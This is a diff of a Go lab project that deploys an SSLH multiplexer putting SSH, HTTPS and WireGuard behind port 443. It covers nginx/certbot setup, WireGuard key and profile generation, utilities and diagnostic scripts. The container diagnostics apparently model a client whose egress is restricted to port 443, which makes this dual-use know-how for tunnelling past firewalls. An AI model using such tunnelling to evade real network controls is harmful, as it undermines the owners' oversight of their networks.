chmod 644 /etc/nginx/sites-available/sslh-proxy
chmod 644 "$CERT_PATH" 2>/dev/null || true
chmod 640 "$KEY_PATH" 2>/dev/null || true
chown root:root "$CERT_PATH" "$KEY_PATH" 2>/dev/null || true
usermod -a -G ssl-cert www-data 2>/dev/null || usermod -a -G ssl-cert nginx 2>/dev/null || true
chmod 755 "$(dirname "$CERT_PATH")" /etc/letsencrypt/live/ 2>/dev/null || true
echo 'Verifying certificate details...'
openssl x509 -in "$CERT_PATH" -noout -text 2>/dev/null | grep -A 1 'Subject Alternative Name' || true
nginx -t && systemctl reload nginx && sleep 2 || systemctl restart nginx
echo 'Let's Encrypt certificate installed successfully'
else
echo 'ERROR: Certificate file not found after certbot success!'
echo 'Checking certbot certificates:'
sudo certbot certificates 2>&1 | head -30
echo 'Checking Let's Encrypt directories:'
ls -la /etc/letsencrypt/live/ 2>/dev/null || echo 'No live certificates found'
fi
else
echo 'ERROR: Certbot failed!'
echo 'Certbot output:'
cat /tmp/certbot-output.log 2>/dev/null || echo 'No certbot output log found'
echo 'This may be due to DNS propagation delays or ACME challenge failures.'
echo 'Certificate will need to be obtained manually or retried later.'
fi
fi`, letsencryptEmail, domainDebugList, certbotDomains, domainDebugList, letsencryptEmail, letsencryptEmail, certbotDomains, domain, domain, domain, domain)
}(),
"echo '=== Waiting for all backend services to be ready ==='",
"for i in 1 2 3 4 5; do ss -tlnp | grep -q ':22 ' && ss -tlnp | grep -q ':8444 ' && ss -tlnp | grep -q ':445 ' && break || sleep 2; done",
"echo '=== Verifying nginx is ready for SSLH ==='",
"for i in 1 2 3 4 5; do",
" if ss -tlnp | grep ':8444 ' | grep -q nginx && curl -k -s https://127.0.0.1:8444/ 2>/dev/null | grep -q 'Demo app page'; then",
" echo 'Nginx is ready on 8444'",
" break",
" fi",
" if [ $i -eq 5 ]; then",
" echo 'ERROR: Nginx not ready on 8444!'",
" ss -tlnp | grep ':8444 ' || echo 'Port 8444 not listening'",
" systemctl status nginx --no-pager | head -10",
" exit 1",
" fi",
" sleep 2",
"done",
"echo '=== Verifying SSLH config file exists and is valid ==='",
"test -f /etc/sslh.cfg || { echo 'ERROR: SSLH config file missing!'; ls -la /etc/sslh* 2>/dev/null; exit 1; }",
"test -s /etc/sslh.cfg || { echo 'ERROR: SSLH config file is empty!'; exit 1; }",
"echo '=== SSLH Config File Size ==='",
"wc -l /etc/sslh.cfg",
"echo '=== SSLH Config File Contents (first 50 lines) ==='",
"head -50 /etc/sslh.cfg",
"echo '=== Validating SSLH config syntax ==='",
"sslh -F /etc/sslh.cfg -v 1 -f -t 2>&1 || { echo 'ERROR: SSLH config validation failed!'; echo 'Full config:'; cat /etc/sslh.cfg; exit 1; }",
"echo '=== Verifying TLS route in SSLH config ==='",
"grep -q 'name: \"tls\"' /etc/sslh.cfg || { echo 'ERROR: TLS route not found in SSLH config!'; exit 1; }",
"TLS_ROUTE_COUNT=$(grep -c 'name: \"tls\"' /etc/sslh.cfg || echo '0')",
"echo \"Found $TLS_ROUTE_COUNT TLS route(s) in config\"",
"grep -A 10 'name: \"tls\"' /etc/sslh.cfg | grep -q 'port: \"8444\"' || { echo 'ERROR: TLS route not pointing to port 8444!'; echo 'TLS routes found:'; grep -A 10 'name: \"tls\"' /etc/sslh.cfg; exit 1; }",
"echo '=== Verifying protocol order (TLS before SSH) ==='",
"TLS_LINE=$(grep -n 'name: \"tls\"' /etc/sslh.cfg | head -1 | cut -d: -f1)",
"SSH_LINE=$(grep -n 'name: \"ssh\"' /etc/sslh.cfg | head -1 | cut -d: -f1)",
"if [ -n \"$TLS_LINE\" ] && [ -n \"$SSH_LINE\" ] && [ \"$TLS_LINE\" -lt \"$SSH_LINE\" ]; then",
" echo 'Protocol order correct: TLS before SSH'",
"else",
" echo 'WARNING: Protocol order may be incorrect. TLS should come before SSH.'",
"fi",
"echo '=== Starting SSLH service ==='",
"systemctl stop sslh 2>/dev/null || true",
"pkill -9 sslh sslh-select 2>/dev/null || true",
"ss -tlnp | grep -q ':443 ' && fuser -k 443/tcp 2>/dev/null || true",
"sleep 2",
"systemctl daemon-reload",
"systemctl enable sslh",
"systemctl restart sslh",
"sleep 5",
"systemctl is-active --quiet sslh || { echo 'ERROR: SSLH service failed to start!'; systemctl status sslh --no-pager; journalctl -u sslh -n 20 --no-pager; exit 1; }",
"ss -tlnp | grep -q ':443 ' || { echo 'ERROR: SSLH not listening on port 443!'; ss -tlnp | grep ':443 '; exit 1; }",
"echo '=== Verifying SSLH can reach nginx ==='",
"for i in 1 2 3 4 5; do",
" if timeout 2 bash -c '</dev/tcp/127.0.0.1/8444' 2>/dev/null; then",
" echo 'SSLH can reach nginx on 8444'",
" break",
" fi",
" if [ $i -eq 5 ]; then",
" echo 'ERROR: SSLH cannot reach nginx on 8444!'",
" ss -tlnp | grep ':8444 '",
" systemctl status nginx --no-pager | head -10",
" exit 1",
" fi",
" sleep 1",
"done",
"echo '=== Testing SSLH TLS routing ==='",
"echo 'Testing direct connection to SSLH on port 443...'",
"timeout 3 bash -c '</dev/tcp/127.0.0.1/443' 2>/dev/null && echo 'Port 443 is reachable' || echo 'WARNING: Port 443 not reachable'",
"TLS_ROUTING_WORKING=false",
"for i in 1 2 3 4 5; do",
" echo \"TLS routing test attempt $i/5...\"",
" TLS_TEST=$(timeout 10 bash -c 'echo | openssl s_client -connect 127.0.0.1:443 -servername chaosengineering.cc 2>&1' 2>/dev/null)",
" if echo \"$TLS_TEST\" | grep -q 'CONNECTED'; then",
" if echo \"$TLS_TEST\" | grep -q 'Verify return code: 0'; then",
" echo 'SSLH TLS routing test passed (certificate valid)'",
" elif echo \"$TLS_TEST\" | grep -q 'Verify return code:'; then",
" echo 'SSLH TLS routing test passed (certificate self-signed, but connection works)'",
" else",
" echo 'SSLH TLS routing test passed (connection established)'",
" fi",
" TLS_ROUTING_WORKING=true",
" break",
" fi",
" sleep 2",
"done",
"[ \"$TLS_ROUTING_WORKING\" = false ] && { echo 'ERROR: SSLH TLS routing test failed!'; echo 'Testing direct nginx connection:'; timeout 3 bash -c 'echo | openssl s_client -connect 127.0.0.1:8444 -servername localhost 2>&1' | head -20; echo 'SSLH config TLS route:'; grep -A 10 'name: \"tls\"' /etc/sslh.cfg | head -15; echo 'SSLH logs:'; journalctl -u sslh -n 30 --no-pager; exit 1; }",
"systemctl is-active --quiet nginx && ss -tlnp | grep -q ':8444 ' && systemctl is-active --quiet sslh && ss -tlnp | grep -q ':443 ' && curl -s http://127.0.0.1:80/ 2>/dev/null | grep -q 'Demo app page' && curl -k -s https://127.0.0.1:8444/ 2>/dev/null | grep -q 'Demo app page' && echo 'Deployment ready' || echo 'Some verifications failed'",
}
return commands
}
func generateNginxSSLHProxyConfig() string {
return `# Default server for root domain (HTTPS on port 443 via SSLH)
# Certbot will update this configuration with Let's Encrypt certificates if email is provided
server {
listen 127.0.0.1:8444 ssl http2 default_server;
server_name _;
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
root /var/www/demo;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
`
}
func generateNginxACMEConfig() string {
return `# HTTP server for Let's Encrypt ACME challenge
# This must be the default_server on port 80 to handle all HTTP requests
server {
listen 0.0.0.0:80 default_server;
listen [::]:80 default_server;
server_name _;
# Serve ACME challenge for Let's Encrypt
# Certbot webroot plugin writes files here for HTTP-01 validation
location /.well-known/acme-challenge/ {
root /var/www/html;
default_type "text/plain";
# Allow certbot to write files here
access_log off;
}
# For root domain, serve demo page on HTTP (before HTTPS redirect)
# This allows initial access while certificates are being obtained
location / {
root /var/www/demo;
try_files $uri $uri/ /index.html;
}
}
`
}
func generateDemoPageHTML() string {
return `<!DOCTYPE html>
<html>
<head>
<title>Demo App Page</title>
<meta charset="utf-8">
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
}
.container {
text-align: center;
padding: 2rem;
background: rgba(255, 255, 255, 0.1);
border-radius: 10px;
backdrop-filter: blur(10px);
}
h1 {
margin: 0;
font-size: 3rem;
}
</style>
</head>
<body>
<div class="container">
<h1>Demo app page</h1>
</div>
</body>
</html>
`
}

View File

@@ -0,0 +1,90 @@
package wireguard
import (
"fmt"
"os"
"path/filepath"
)
type ClientProfile struct {
OS string
Architecture string
ConfigContent string
ConfigPath string
}
func GenerateClientProfiles(serverConfig *ServerConfig, serverIP string, count int) ([]ClientProfile, error) {
var profiles []ClientProfile
platforms := []struct {
OS string
Architecture string
}{
{"linux", "amd64"},
{"linux", "arm64"},
{"darwin", "amd64"},
{"darwin", "arm64"},
{"windows", "amd64"},
}
numProfiles := count
if numProfiles <= 0 {
numProfiles = len(platforms)
}
for i := 0; i < numProfiles; i++ {
platform := platforms[i%len(platforms)]
clientPrivateKey, clientPublicKey, err := GenerateClientKeyPair()
if err != nil {
return nil, fmt.Errorf("failed to generate client key pair: %w", err)
}
clientAddress := fmt.Sprintf("10.0.0.%d/24", i+2)
clientConfig := GenerateClientConfig(
serverIP,
serverConfig.Port,
serverConfig.PublicKey,
clientPrivateKey,
clientPublicKey,
clientAddress,
"0.0.0.0/0",
)
profile := ClientProfile{
OS: platform.OS,
Architecture: platform.Architecture,
ConfigContent: clientConfig.ToConfigFile(),
}
profiles = append(profiles, profile)
}
return profiles, nil
}
func SaveClientProfile(profile ClientProfile, outputDir string) (string, error) {
if err := os.MkdirAll(outputDir, 0755); err != nil {
return "", fmt.Errorf("failed to create output directory: %w", err)
}
var filename string
switch profile.OS {
case "darwin":
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
case "linux":
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
case "windows":
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
default:
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
}
configPath := filepath.Join(outputDir, filename)
if err := os.WriteFile(configPath, []byte(profile.ConfigContent), 0600); err != nil {
return "", fmt.Errorf("failed to write client config: %w", err)
}
return configPath, nil
}

View File

@@ -0,0 +1,102 @@
package wireguard
import (
"crypto/rand"
"encoding/base64"
"fmt"
"golang.org/x/crypto/curve25519"
)
type ServerConfig struct {
PrivateKey string
PublicKey string
Port int
Interface string
Address string
}
type ClientConfig struct {
PrivateKey string
PublicKey string
Address string
ServerIP string
ServerPort int
ServerPublicKey string
AllowedIPs string
Endpoint string
}
func GenerateServerConfig(port int, interfaceName, address string) (*ServerConfig, error) {
privateKey, publicKey, err := generateKeyPair()
if err != nil {
return nil, fmt.Errorf("failed to generate key pair: %w", err)
}
return &ServerConfig{
PrivateKey: privateKey,
PublicKey: publicKey,
Port: port,
Interface: interfaceName,
Address: address,
}, nil
}
func (sc *ServerConfig) ToConfigFile() string {
return fmt.Sprintf(`[Interface]
PrivateKey = %s
Address = %s
ListenPort = %d
`, sc.PrivateKey, sc.Address, sc.Port)
}
func GenerateClientConfig(serverIP string, serverPort int, serverPublicKey, clientPrivateKey, clientPublicKey, clientAddress, allowedIPs string) *ClientConfig {
return &ClientConfig{
PrivateKey: clientPrivateKey,
PublicKey: clientPublicKey,
Address: clientAddress,
ServerIP: serverIP,
ServerPort: serverPort,
ServerPublicKey: serverPublicKey,
AllowedIPs: allowedIPs,
Endpoint: fmt.Sprintf("%s:%d", serverIP, serverPort),
}
}
func (cc *ClientConfig) ToConfigFile() string {
return fmt.Sprintf(`[Interface]
PrivateKey = %s
Address = %s
[Peer]
PublicKey = %s
Endpoint = %s
AllowedIPs = %s
PersistentKeepalive = 25
`, cc.PrivateKey, cc.Address, cc.ServerPublicKey, cc.Endpoint, cc.AllowedIPs)
}
func generateKeyPair() (string, string, error) {
var privateKey [32]byte
if _, err := rand.Read(privateKey[:]); err != nil {
return "", "", fmt.Errorf("failed to generate private key: %w", err)
}
privateKey[0] &= 248
privateKey[31] &= 127
privateKey[31] |= 64
var publicKey [32]byte
curve25519.ScalarBaseMult(&publicKey, &privateKey)
privateKeyBase64 := base64.StdEncoding.EncodeToString(privateKey[:])
publicKeyBase64 := base64.StdEncoding.EncodeToString(publicKey[:])
return privateKeyBase64, publicKeyBase64, nil
}
func GenerateClientKeyPair() (string, string, error) {
return generateKeyPair()
}

48
pkg/utils/debug_log.go Normal file
View File

@@ -0,0 +1,48 @@
package utils
import (
"encoding/json"
"fmt"
"os"
"time"
)
const debugLogPath = "/Users/gmapple/Documents/Projects/labs/sslh-multiplex-lab/.cursor/debug.log"
type DebugLogEntry struct {
ID string `json:"id"`
Timestamp int64 `json:"timestamp"`
Location string `json:"location"`
Message string `json:"message"`
Data map[string]interface{} `json:"data"`
SessionID string `json:"sessionId"`
RunID string `json:"runId"`
HypothesisID string `json:"hypothesisId"`
}
func DebugLog(location, message string, data map[string]interface{}, hypothesisID string) {
entry := DebugLogEntry{
ID: fmt.Sprintf("log_%d", time.Now().UnixNano()),
Timestamp: time.Now().UnixMilli(),
Location: location,
Message: message,
Data: data,
SessionID: "debug-session",
RunID: "run1",
HypothesisID: hypothesisID,
}
jsonData, err := json.Marshal(entry)
if err != nil {
return
}
f, err := os.OpenFile(debugLogPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return
}
defer f.Close()
f.Write(jsonData)
f.WriteString("\n")
}

131
pkg/utils/dns.go Normal file
View File

@@ -0,0 +1,131 @@
package utils
import (
"fmt"
"net"
"time"
"github.com/miekg/dns"
)
func ValidateDNSPropagation(hostname, expectedIP string, timeout time.Duration) error {
deadline := time.Now().Add(timeout)
backoff := 2 * time.Second
maxBackoff := 10 * time.Second
dnsServers := []string{"1.1.1.1:53", "8.8.8.8:53", "1.0.0.1:53"}
for {
if time.Now().After(deadline) {
return fmt.Errorf("timeout waiting for DNS propagation for %s", hostname)
}
resolved := false
// Try public DNS servers first
for _, dnsServer := range dnsServers {
ips, err := queryDNS(dnsServer, hostname)
if err == nil {
for _, ip := range ips {
if ip == expectedIP {
resolved = true
break
}
}
if resolved {
break
}
}
}
// Fallback to system resolver if public DNS servers failed
if !resolved {
ips, err := net.LookupIP(hostname)
if err == nil {
for _, ip := range ips {
if ip.String() == expectedIP {
resolved = true
break
}
}
}
}
if resolved {
return nil
}
time.Sleep(backoff)
if backoff < maxBackoff {
backoff += 1 * time.Second
}
}
}
func queryDNS(server, hostname string) ([]string, error) {
client := dns.Client{Timeout: 5 * time.Second}
msg := new(dns.Msg)
msg.SetQuestion(dns.Fqdn(hostname), dns.TypeA)
resp, _, err := client.Exchange(msg, server)
if err != nil {
return nil, err
}
if resp.Rcode != dns.RcodeSuccess {
return nil, fmt.Errorf("DNS query failed with Rcode: %d", resp.Rcode)
}
var ips []string
for _, answer := range resp.Answer {
if a, ok := answer.(*dns.A); ok {
ips = append(ips, a.A.String())
}
}
return ips, nil
}
func ResolveHostname(hostname string) ([]string, error) {
ips, err := net.LookupIP(hostname)
if err != nil {
return nil, err
}
var ipStrings []string
for _, ip := range ips {
if ip.To4() != nil {
ipStrings = append(ipStrings, ip.String())
}
}
return ipStrings, nil
}
func ValidateDNSPropagationWithResolver(hostname, expectedIP, resolver string, timeout time.Duration) error {
deadline := time.Now().Add(timeout)
backoff := 2 * time.Second
maxBackoff := 10 * time.Second
dnsServer := resolver + ":53"
for {
if time.Now().After(deadline) {
return fmt.Errorf("timeout waiting for DNS propagation for %s on resolver %s", hostname, resolver)
}
ips, err := queryDNS(dnsServer, hostname)
if err == nil {
for _, ip := range ips {
if ip == expectedIP {
return nil
}
}
}
time.Sleep(backoff)
if backoff < maxBackoff {
backoff += 1 * time.Second
}
}
}

44
pkg/utils/ip.go Normal file
View File

@@ -0,0 +1,44 @@
package utils
import (
"fmt"
"io"
"net/http"
"time"
)
func GetPublicIP() (string, error) {
client := &http.Client{
Timeout: 10 * time.Second,
}
services := []string{
"https://api.ipify.org",
"https://icanhazip.com",
"https://ifconfig.me/ip",
}
for _, service := range services {
resp, err := client.Get(service)
if err != nil {
continue
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
continue
}
body, err := io.ReadAll(resp.Body)
if err != nil {
continue
}
ip := string(body)
if ip != "" {
return ip, nil
}
}
return "", fmt.Errorf("failed to determine public IP address from any service")
}

126
pkg/utils/progress.go Normal file
View File

@@ -0,0 +1,126 @@
package utils
import (
"fmt"
"os"
"time"
)
type ProgressBar struct {
total int
current int
width int
startTime time.Time
label string
}
func NewProgressBar(total int, label string) *ProgressBar {
return &ProgressBar{
total: total,
current: 0,
width: 40,
startTime: time.Now(),
label: label,
}
}
func (p *ProgressBar) Update(current int) {
p.current = current
p.render()
}
func (p *ProgressBar) Increment() {
p.current++
p.render()
}
func (p *ProgressBar) render() {
if p.total == 0 {
return
}
percent := float64(p.current) / float64(p.total)
filled := int(percent * float64(p.width))
empty := p.width - filled
bar := ""
for i := 0; i < filled; i++ {
bar += "█"
}
for i := 0; i < empty; i++ {
bar += "░"
}
elapsed := time.Since(p.startTime)
var eta time.Duration
if p.current > 0 && elapsed.Seconds() > 0 {
rate := float64(p.current) / elapsed.Seconds()
if rate > 0 {
remaining := float64(p.total-p.current) / rate
eta = time.Duration(remaining) * time.Second
if eta < 0 {
eta = 0
}
}
}
if eta > 0 {
fmt.Fprintf(os.Stderr, "\r%s [%s] %d/%d (%.1f%%) ETA: %s", p.label, bar, p.current, p.total, percent*100, eta.Round(time.Second))
} else {
fmt.Fprintf(os.Stderr, "\r%s [%s] %d/%d (%.1f%%)", p.label, bar, p.current, p.total, percent*100)
}
if p.current >= p.total {
fmt.Fprintf(os.Stderr, "\n")
}
}
func (p *ProgressBar) Finish() {
p.current = p.total
p.render()
}
type Spinner struct {
chars []string
index int
label string
stopChan chan bool
doneChan chan bool
}
func NewSpinner(label string) *Spinner {
return &Spinner{
chars: []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"},
index: 0,
label: label,
stopChan: make(chan bool),
doneChan: make(chan bool),
}
}
func (s *Spinner) Start() {
go func() {
ticker := time.NewTicker(100 * time.Millisecond)
defer ticker.Stop()
for {
select {
case <-s.stopChan:
fmt.Fprintf(os.Stderr, "\r%s %s\n", s.chars[s.index], s.label)
s.doneChan <- true
return
case <-ticker.C:
fmt.Fprintf(os.Stderr, "\r%s %s", s.chars[s.index], s.label)
s.index = (s.index + 1) % len(s.chars)
}
}
}()
}
func (s *Spinner) Stop() {
s.stopChan <- true
<-s.doneChan
}
func (s *Spinner) StopWithMessage(message string) {
s.Stop()
fmt.Fprintf(os.Stderr, "%s\n", message)
}

53
pkg/utils/retry.go Normal file
View File

@@ -0,0 +1,53 @@
package utils
import (
"fmt"
"time"
)
func RetryWithBackoff(maxAttempts int, initialDelay time.Duration, fn func() error) error {
var lastErr error
delay := initialDelay
for attempt := 1; attempt <= maxAttempts; attempt++ {
err := fn()
if err == nil {
return nil
}
lastErr = err
if attempt < maxAttempts {
time.Sleep(delay)
delay *= 2
}
}
return fmt.Errorf("max attempts (%d) reached, last error: %w", maxAttempts, lastErr)
}
func RetryWithExponentialBackoff(maxAttempts int, initialDelay, maxDelay time.Duration, fn func() error) error {
var lastErr error
delay := initialDelay
for attempt := 1; attempt <= maxAttempts; attempt++ {
err := fn()
if err == nil {
return nil
}
lastErr = err
if attempt < maxAttempts {
time.Sleep(delay)
if delay < maxDelay {
delay *= 2
if delay > maxDelay {
delay = maxDelay
}
}
}
}
return fmt.Errorf("max attempts (%d) reached, last error: %w", maxAttempts, lastErr)
}

40
pkg/utils/ssh.go Normal file
View File

@@ -0,0 +1,40 @@
package utils
import (
"fmt"
"os"
"os/exec"
"os/user"
"path/filepath"
)
func RemoveSSHKnownHost(host string) error {
homeDir, err := os.UserHomeDir()
if err != nil {
return fmt.Errorf("failed to get user home directory: %w", err)
}
knownHostsPath := filepath.Join(homeDir, ".ssh", "known_hosts")
if _, err := os.Stat(knownHostsPath); os.IsNotExist(err) {
return nil
}
cmd := exec.Command("ssh-keygen", "-R", host)
cmd.Stdout = os.Stderr
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to remove host key: %w", err)
}
return nil
}
func GetSSHUser() (string, error) {
currentUser, err := user.Current()
if err != nil {
return "", fmt.Errorf("failed to get current user: %w", err)
}
return currentUser.Username, nil
}

34
pkg/utils/validation.go Normal file
View File

@@ -0,0 +1,34 @@
package utils
import (
"fmt"
"net"
"regexp"
)
func ValidateIP(ip string) error {
if net.ParseIP(ip) == nil {
return fmt.Errorf("invalid IP address: %s", ip)
}
return nil
}
func ValidateDomain(domain string) error {
if domain == "" {
return fmt.Errorf("domain cannot be empty")
}
domainRegex := regexp.MustCompile(`^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$`)
if !domainRegex.MatchString(domain) {
return fmt.Errorf("invalid domain format: %s", domain)
}
return nil
}
func ValidatePort(port int) error {
if port < 1 || port > 65535 {
return fmt.Errorf("invalid port number: %d (must be between 1 and 65535)", port)
}
return nil
}

177
scripts/diagnose_container.sh Executable file
View File

@@ -0,0 +1,177 @@
#!/bin/bash
# Docker container diagnostic script
# Run this inside the sslh-lab-client container
set -e
echo "=========================================="
echo "SSLH Multiplex Lab - Container Diagnostics"
echo "=========================================="
echo ""
echo "=== 1. Container Information ==="
echo "Hostname: $(hostname)"
echo "Container ID: $(hostname)"
echo ""
echo "=== 2. Network Configuration ==="
echo "--- IP Addresses ---"
ip addr show || ifconfig || echo "Could not get IP addresses"
echo ""
echo "--- Routing Table ---"
ip route show || route -n || echo "Could not get routing table"
echo ""
echo "--- DNS Configuration ---"
cat /etc/resolv.conf
echo ""
echo "=== 3. DNS Resolution Tests ==="
echo "Testing DNS resolution:"
for host in google.com cloudflare.com 8.8.8.8; do
if nslookup "$host" >/dev/null 2>&1 || getent hosts "$host" >/dev/null 2>&1; then
echo " $host: RESOLVES"
else
echo " $host: FAILS"
fi
done
echo ""
echo "=== 4. Firewall Rules (iptables) ==="
echo "--- OUTPUT Chain ---"
iptables -L OUTPUT -n -v 2>/dev/null || echo "Could not read iptables OUTPUT chain"
echo ""
echo "=== 5. Outbound Connectivity Tests ==="
echo "--- Testing TCP 443 (HTTPS) ---"
if timeout 3 bash -c '</dev/tcp/8.8.8.8/443' 2>/dev/null; then
echo "TCP 443 to 8.8.8.8: ALLOWED"
else
echo "TCP 443 to 8.8.8.8: BLOCKED or FAILED"
fi
if timeout 3 bash -c '</dev/tcp/google.com/443' 2>/dev/null; then
echo "TCP 443 to google.com: ALLOWED"
else
echo "TCP 443 to google.com: BLOCKED or FAILED"
fi
echo ""
echo "--- Testing UDP 53 (DNS) ---"
if timeout 2 bash -c 'echo > /dev/udp/8.8.8.8/53' 2>/dev/null || dig @8.8.8.8 google.com +short >/dev/null 2>&1; then
echo "UDP 53 to 8.8.8.8: ALLOWED"
else
echo "UDP 53 to 8.8.8.8: BLOCKED or FAILED"
fi
echo ""
echo "--- Testing Blocked Ports (should fail) ---"
if timeout 2 bash -c '</dev/tcp/8.8.8.8/80' 2>/dev/null; then
echo "WARNING: TCP 80 to 8.8.8.8: ALLOWED (should be blocked!)"
else
echo "TCP 80 to 8.8.8.8: BLOCKED (correct)"
fi
if timeout 2 bash -c '</dev/tcp/8.8.8.8/22' 2>/dev/null; then
echo "WARNING: TCP 22 to 8.8.8.8: ALLOWED (should be blocked!)"
else
echo "TCP 22 to 8.8.8.8: BLOCKED (correct)"
fi
echo ""
echo "=== 6. Server Information ==="
if [ -f /server-info.txt ]; then
echo "Server info file:"
cat /server-info.txt
else
echo "Server info file not found"
fi
echo ""
echo "=== 7. SSH Keys ==="
if [ -d /keys ]; then
echo "Keys directory exists:"
ls -la /keys/
if [ -f /keys/id_ed25519 ]; then
echo "SSH key found: /keys/id_ed25519"
echo "Key permissions: $(stat -c%a /keys/id_ed25519 2>/dev/null || stat -f%OLp /keys/id_ed25519 2>/dev/null)"
else
echo "SSH key not found in /keys/"
fi
else
echo "Keys directory not found"
fi
echo ""
echo "=== 8. WireGuard Configs ==="
if [ -d /wireguard ]; then
echo "WireGuard directory exists:"
ls -la /wireguard/
for wg_file in /wireguard/*.conf; do
if [ -f "$wg_file" ]; then
echo " Config: $(basename "$wg_file")"
fi
done
else
echo "WireGuard directory not found"
fi
echo ""
echo "=== 9. Testing SSLH Server Connectivity ==="
if [ -f /server-info.txt ]; then
server_ip=$(grep "Server IP:" /server-info.txt | awk '{print $3}')
domain=$(grep "Domain:" /server-info.txt | awk '{print $2}')
if [ -n "$server_ip" ]; then
echo "Testing connectivity to server IP: $server_ip"
echo "--- Testing SSH on port 443 (via SSLH) ---"
if timeout 3 bash -c '</dev/tcp/'"$server_ip"'/443' 2>/dev/null; then
echo "TCP 443 to $server_ip: REACHABLE"
else
echo "TCP 443 to $server_ip: NOT REACHABLE"
fi
echo "--- Testing HTTPS on port 443 (via SSLH) ---"
if timeout 3 curl -k -v https://"$server_ip":443/ 2>&1 | head -10; then
echo "HTTPS to $server_ip:443: RESPONDING"
else
echo "HTTPS to $server_ip:443: NOT RESPONDING"
fi
fi
if [ -n "$domain" ]; then
echo ""
echo "Testing connectivity to domain: $domain"
echo "--- DNS Resolution ---"
if nslookup "$domain" >/dev/null 2>&1 || getent hosts "$domain" >/dev/null 2>&1; then
resolved_ip=$(nslookup "$domain" 2>/dev/null | grep -A1 "Name:" | grep "Address:" | awk '{print $2}' | head -1)
if [ -z "$resolved_ip" ]; then
resolved_ip=$(getent hosts "$domain" | awk '{print $1}' | head -1)
fi
echo " $domain resolves to: $resolved_ip"
echo "--- Testing HTTPS to domain on port 443 ---"
if timeout 3 curl -k -v https://"$domain":443/ 2>&1 | head -10; then
echo "HTTPS to $domain:443: RESPONDING"
else
echo "HTTPS to $domain:443: NOT RESPONDING"
fi
else
echo " $domain: DNS RESOLUTION FAILED"
fi
fi
fi
echo ""
echo "=== 10. Process List ==="
ps aux || echo "Could not list processes"
echo ""
echo "=== 11. Environment Variables ==="
env | sort
echo ""
echo "=========================================="
echo "Container Diagnostics Complete"
echo "=========================================="

224
scripts/diagnose_deployment.sh Executable file
View File

@@ -0,0 +1,224 @@
#!/bin/bash
# Comprehensive diagnostic script for SSLH Multiplex Lab
# This script checks configurations, services, and connectivity
set -e
echo "=========================================="
echo "SSLH Multiplex Lab - Comprehensive Diagnostics"
echo "=========================================="
echo ""
echo "=== 1. Domain Configuration ==="
if [ -f /etc/sslh.cfg ]; then
echo "SSLH Config File: /etc/sslh.cfg"
echo "--- SSLH Configuration ---"
cat /etc/sslh.cfg
echo ""
echo "--- Checking for domain references ---"
grep -i "domain\|hostname\|server_name" /etc/sslh.cfg || echo "No domain references found in SSLH config"
else
echo "ERROR: /etc/sslh.cfg not found!"
fi
echo ""
echo "=== 2. Nginx Configuration ==="
echo "--- Nginx Sites Available ---"
ls -la /etc/nginx/sites-available/ 2>/dev/null || echo "No sites-available directory"
echo ""
echo "--- Nginx Sites Enabled ---"
ls -la /etc/nginx/sites-enabled/ 2>/dev/null || echo "No sites-enabled directory"
echo ""
if [ -f /etc/nginx/sites-available/sslh-proxy ]; then
echo "--- sslh-proxy Configuration ---"
cat /etc/nginx/sites-available/sslh-proxy
echo ""
echo "--- Checking for domain/server_name ---"
grep -i "server_name\|domain" /etc/nginx/sites-available/sslh-proxy || echo "No server_name found"
else
echo "ERROR: /etc/nginx/sites-available/sslh-proxy not found!"
fi
echo ""
if [ -f /etc/nginx/sites-available/acme-challenge ]; then
echo "--- acme-challenge Configuration ---"
cat /etc/nginx/sites-available/acme-challenge
echo ""
else
echo "WARNING: /etc/nginx/sites-available/acme-challenge not found!"
fi
echo ""
echo "--- Nginx Configuration Test ---"
nginx -t 2>&1
echo ""
echo "=== 3. Let's Encrypt / Certificates ==="
if [ -d /etc/letsencrypt/live ]; then
echo "Let's Encrypt directory exists"
echo "--- Domains with certificates ---"
for domain_dir in /etc/letsencrypt/live/*/; do
if [ -d "$domain_dir" ]; then
domain=$(basename "$domain_dir")
echo " Domain: $domain"
echo " Path: $domain_dir"
if [ -f "$domain_dir/fullchain.pem" ]; then
echo " fullchain.pem: EXISTS"
echo " Size: $(stat -c%s "$domain_dir/fullchain.pem" 2>/dev/null || stat -f%z "$domain_dir/fullchain.pem" 2>/dev/null) bytes"
echo " Certificate info:"
openssl x509 -in "$domain_dir/fullchain.pem" -noout -subject -issuer -dates 2>/dev/null || echo " Could not read certificate"
else
echo " fullchain.pem: MISSING"
fi
if [ -f "$domain_dir/privkey.pem" ]; then
echo " privkey.pem: EXISTS"
echo " Permissions: $(stat -c%a "$domain_dir/privkey.pem" 2>/dev/null || stat -f%OLp "$domain_dir/privkey.pem" 2>/dev/null)"
else
echo " privkey.pem: MISSING"
fi
echo ""
fi
done
else
echo "Let's Encrypt directory NOT FOUND"
echo "Checking for self-signed certificates..."
if [ -f /etc/ssl/certs/ssl-cert-snakeoil.pem ]; then
echo " Self-signed certificate found: /etc/ssl/certs/ssl-cert-snakeoil.pem"
else
echo " No self-signed certificate found either"
fi
fi
echo ""
echo "--- Certbot Status ---"
if command -v certbot >/dev/null 2>&1; then
echo "Certbot is installed"
certbot --version 2>&1 || true
echo ""
echo "--- Certbot Certificates List ---"
certbot certificates 2>&1 || echo "Could not list certificates"
else
echo "Certbot is NOT installed"
fi
echo ""
echo "--- Checking Nginx SSL Certificate Configuration ---"
if [ -f /etc/nginx/sites-available/sslh-proxy ]; then
